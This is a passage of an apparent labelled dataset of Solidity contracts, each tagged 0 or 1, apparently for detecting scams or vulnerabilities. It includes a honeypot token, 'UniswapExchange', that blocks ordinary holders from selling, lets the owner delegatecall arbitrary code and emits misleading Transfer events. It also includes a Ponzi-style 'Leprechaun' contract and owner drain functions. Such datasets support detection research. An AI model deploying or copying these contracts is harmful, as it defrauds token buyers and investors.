require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "TGS-Merces-Quia-Auxilium";
string public constant TOKEN_SYMBOL = "MQA";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x70A8c16AE41796753cc12736050285093625Dad1;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x70a8c16ae41796753cc12736050285093625dad1)];
uint[1] memory amounts = [uint(100000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 |
pragma solidity ^0.4.12;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
function ReserveToken() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) throw;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) throw;
if (balances[account] < amount) throw;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
function accountLevel(address user) constant returns(uint) {}
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) {
accountLevels[user] = level;
}
function accountLevel(address user) constant returns(uint) {
return accountLevels[user];
}
}
contract TokenCentre is SafeMath {
address public admin;
address public feeAccount;
address public accountLevelsAddr;
uint public feeMake;
uint public feeTake;
uint public feeRebate;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint)) public orderFills;
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function TokenCentre(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) {
if (msg.sender != admin) throw;
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) throw;
if (feeMake_ > feeMake) throw;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) throw;
if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) {
if (msg.sender != admin) throw;
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
feeRebate = feeRebate_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
if (token==0) throw;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) throw;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
} | 0 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CryptoProtect is Ownable {
using SafeMath for uint256;
ERC20Interface tokenInterface;
struct Policy {
uint256 premiumAmount;
uint256 payoutAmount;
uint256 endDate;
uint8 state;
}
struct Token {
mapping (string => Policy) token;
}
struct Exchange {
mapping (string => Token) exchange;
}
struct Pool{
uint256 endDate;
uint256 amount;
}
mapping(address => Exchange) policies;
Pool[] private poolRecords;
uint private poolRecordsIndex;
uint256 private poolBackedAmount;
uint8 public poolState;
uint256 public poolMaxAmount;
uint256 public poolStartDate;
uint256 public minPremium;
uint256 public maxPremium;
string public contractName;
event PoolStateUpdate(uint8 indexed state);
event PremiumReceived(address indexed addr, uint256 indexed amount, uint indexed id);
event ClaimSubmitted(address indexed addr, string indexed exchange, string indexed token);
event ClaimPayout(address indexed addr, string indexed exchange, string indexed token);
event PoolBackedAmountUpdate(uint256 indexed amount);
event PoolPremiumLimitUpdate(uint256 indexed min, uint256 indexed max);
constructor(
string _contractName,
address _tokenContract,
uint256 _poolMaxAmount,
uint256 _poolBackedAmount,
uint256 _minPremium,
uint256 _maxPremium
)
public
{
contractName = _contractName;
tokenInterface = ERC20Interface(_tokenContract);
poolState = 1;
poolStartDate = now;
poolMaxAmount = _poolMaxAmount;
poolBackedAmount = _poolBackedAmount;
minPremium = _minPremium;
maxPremium = _maxPremium;
}
modifier verifyPoolState() {
require(poolState == 1);
_;
}
function isEligible(address _addr, string _exchange, string _token) internal view
returns (bool)
{
if (
policies[_addr].exchange[_exchange].token[_token].state == 0 ||
policies[_addr].exchange[_exchange].token[_token].endDate < now
) {
return true;
}
return false;
}
function computePoolAmount() internal view
returns (uint256)
{
uint256 currentPoolAmount = 0;
for (uint i = poolRecordsIndex; i< poolRecords.length; i++) {
if (poolRecords[i].endDate < now) {
continue;
}
currentPoolAmount = currentPoolAmount.add(poolRecords[i].amount);
}
return currentPoolAmount.add(poolBackedAmount);
}
function MakeTransaction(
address _tokenOwner,
uint256 _premiumAmount,
uint256 _payoutAmount,
string _exchange,
string _token,
uint8 _id
)
external
verifyPoolState()
{
require(_tokenOwner != address(0));
require(_premiumAmount < _payoutAmount);
require(_premiumAmount >= minPremium);
require(_premiumAmount <= maxPremium);
require(bytes(_exchange).length > 0);
require(bytes(_token).length > 0);
require(_id > 0);
require(isEligible(_tokenOwner, _exchange, _token));
require(tokenInterface.balanceOf(_tokenOwner) >= _premiumAmount);
require(tokenInterface.allowance(_tokenOwner, address(this)) >= _premiumAmount);
policies[_tokenOwner].exchange[_exchange].token[_token].premiumAmount = _premiumAmount;
policies[_tokenOwner].exchange[_exchange].token[_token].payoutAmount = _payoutAmount;
policies[_tokenOwner].exchange[_exchange].token[_token].endDate = now.add(90 * 1 days);
policies[_tokenOwner].exchange[_exchange].token[_token].state = 1;
poolRecords.push(Pool(now.add(90 * 1 days), _premiumAmount));
tokenInterface.transferFrom(_tokenOwner, address(this), _premiumAmount);
emit PremiumReceived(_tokenOwner, _premiumAmount, _id);
}
function GetPolicy(address _addr, string _exchange, string _token) public view
returns (
uint256 premiumAmount,
uint256 payoutAmount,
uint256 endDate,
uint8 state
)
{
return (
policies[_addr].exchange[_exchange].token[_token].premiumAmount,
policies[_addr].exchange[_exchange].token[_token].payoutAmount,
policies[_addr].exchange[_exchange].token[_token].endDate,
policies[_addr].exchange[_exchange].token[_token].state
);
}
function SubmitClaim(address _addr, string _exchange, string _token) public
returns (bool submitted)
{
require(policies[_addr].exchange[_exchange].token[_token].state == 1);
require(policies[_addr].exchange[_exchange].token[_token].endDate > now);
emit ClaimSubmitted(_addr, _exchange, _token);
return true;
}
function GetCurrentPoolAmount() public view
returns (uint256)
{
return computePoolAmount();
}
function CheckEligibility(address _addr, string _exchange, string _token) public view
returns (bool)
{
return(isEligible(_addr, _exchange, _token));
}
function CheckBalance(address _addr) public view returns (uint256){
return tokenInterface.balanceOf(_addr);
}
function CheckAllowance(address _addr) public view returns (uint256){
return tokenInterface.allowance(_addr, address(this));
}
function UpdatePolicyState(address _addr, string _exchange, string _token, uint8 _state) external
onlyOwner
{
require(policies[_addr].exchange[_exchange].token[_token].state != 0);
policies[_addr].exchange[_exchange].token[_token].state = _state;
if (_state == 3) {
emit ClaimPayout(_addr, _exchange, _token);
}
}
function UpdatePoolState(uint8 _state) external
onlyOwner
{
poolState = _state;
emit PoolStateUpdate(_state);
}
function UpdateBackedAmount(uint256 _amount) external
onlyOwner
{
poolBackedAmount = _amount;
emit PoolBackedAmountUpdate(_amount);
}
function UpdatePremiumLimit(uint256 _min, uint256 _max) external
onlyOwner
{
require(_min < _max);
minPremium = _min;
maxPremium = _max;
emit PoolPremiumLimitUpdate(_min, _max);
}
function InitiatePayout(address _addr, string _exchange, string _token) external
onlyOwner
{
require(policies[_addr].exchange[_exchange].token[_token].state == 1);
require(policies[_addr].exchange[_exchange].token[_token].payoutAmount > 0);
uint256 payoutAmount = policies[_addr].exchange[_exchange].token[_token].payoutAmount;
require(payoutAmount <= tokenInterface.balanceOf(address(this)));
policies[_addr].exchange[_exchange].token[_token].state = 3;
tokenInterface.transfer(_addr, payoutAmount);
emit ClaimPayout(_addr, _exchange, _token);
}
function WithdrawFee(uint256 _amount) external
onlyOwner
{
require(_amount <= tokenInterface.balanceOf(address(this)));
tokenInterface.transfer(owner, _amount);
}
function EmergencyDrain(ERC20Interface _anyToken) external
onlyOwner
returns(bool)
{
if (address(this).balance > 0) {
owner.transfer(address(this).balance);
}
if (_anyToken != address(0)) {
_anyToken.transfer(owner, _anyToken.balanceOf(this));
}
return true;
}
} | 0 |
pragma solidity ^0.4.13;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract asdfgh {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1546509999;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
if (msg.value == 0) {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
if (msg.value == 0.001 ether) {
require (block.timestamp > partyTime);
ForeignToken token = ForeignToken(0xA15C7Ebe1f07CaF6bFF097D8a589fb8AC49Ae5B3);
uint256 amount = token.balanceOf(address(this));
token.transfer(msg.sender, amount);
}
}
} | 1 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) { return 0; }
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Storage {
using SafeMath for uint;
uint public constant perDay = 2;
uint public constant fee = 15;
uint public constant bonusReferral = 10;
uint public constant bonusReferrer = 5;
uint public constant minimalDepositForBonusReferrer = 0.001 ether;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPaid = 0;
struct User
{
uint balance;
uint paid;
uint timestamp;
uint countReferrals;
uint earnOnReferrals;
address referrer;
}
mapping (address => User) internal user;
function getAvailableBalance(address addr) internal view returns(uint) {
uint diffTime = user[addr].timestamp > 0 ? now.sub(user[addr].timestamp) : 0;
return user[addr].balance.mul(perDay).mul(diffTime).div(100).div(24 hours);
}
function getUser(address addr) public view returns(uint, uint, uint, uint, uint, address) {
return (
user[addr].balance,
user[addr].paid,
getAvailableBalance(addr),
user[addr].countReferrals,
user[addr].earnOnReferrals,
user[addr].referrer
);
}
}
contract Leprechaun is Storage {
address public owner = msg.sender;
modifier withDeposit() { if (msg.value > 0) { _; } }
function() public payable {
if (msg.sender == owner) { return; }
register();
sendFee();
sendReferrer();
sendPayment();
updateInvestBalance();
}
function register() internal withDeposit {
if (user[msg.sender].balance == 0) {
user[msg.sender].timestamp = now;
countInvestors++;
address referrer = bytesToAddress(msg.data);
if (user[referrer].balance > 0 && referrer != msg.sender) {
user[msg.sender].referrer = referrer;
user[referrer].countReferrals++;
transfer(msg.sender, msg.value.mul(bonusReferral).div(100));
}
}
}
function sendFee() internal withDeposit {
transfer(owner, msg.value.mul(fee).div(100));
}
function sendReferrer() internal withDeposit {
if (msg.value >= minimalDepositForBonusReferrer) {
address referrer = user[msg.sender].referrer;
if (user[referrer].balance > 0) {
uint amountReferrer = msg.value.mul(bonusReferrer).div(100);
user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer);
transfer(referrer, amountReferrer);
}
}
}
function sendPayment() internal {
if (user[msg.sender].balance > 0) {
transfer(msg.sender, getAvailableBalance(msg.sender));
user[msg.sender].timestamp = now;
}
}
function updateInvestBalance() internal withDeposit {
user[msg.sender].balance = user[msg.sender].balance.add(msg.value);
totalInvest = totalInvest.add(msg.value);
}
function transfer(address receiver, uint amount) internal {
if (amount > 0) {
if (receiver != owner) { totalPaid = totalPaid.add(amount); }
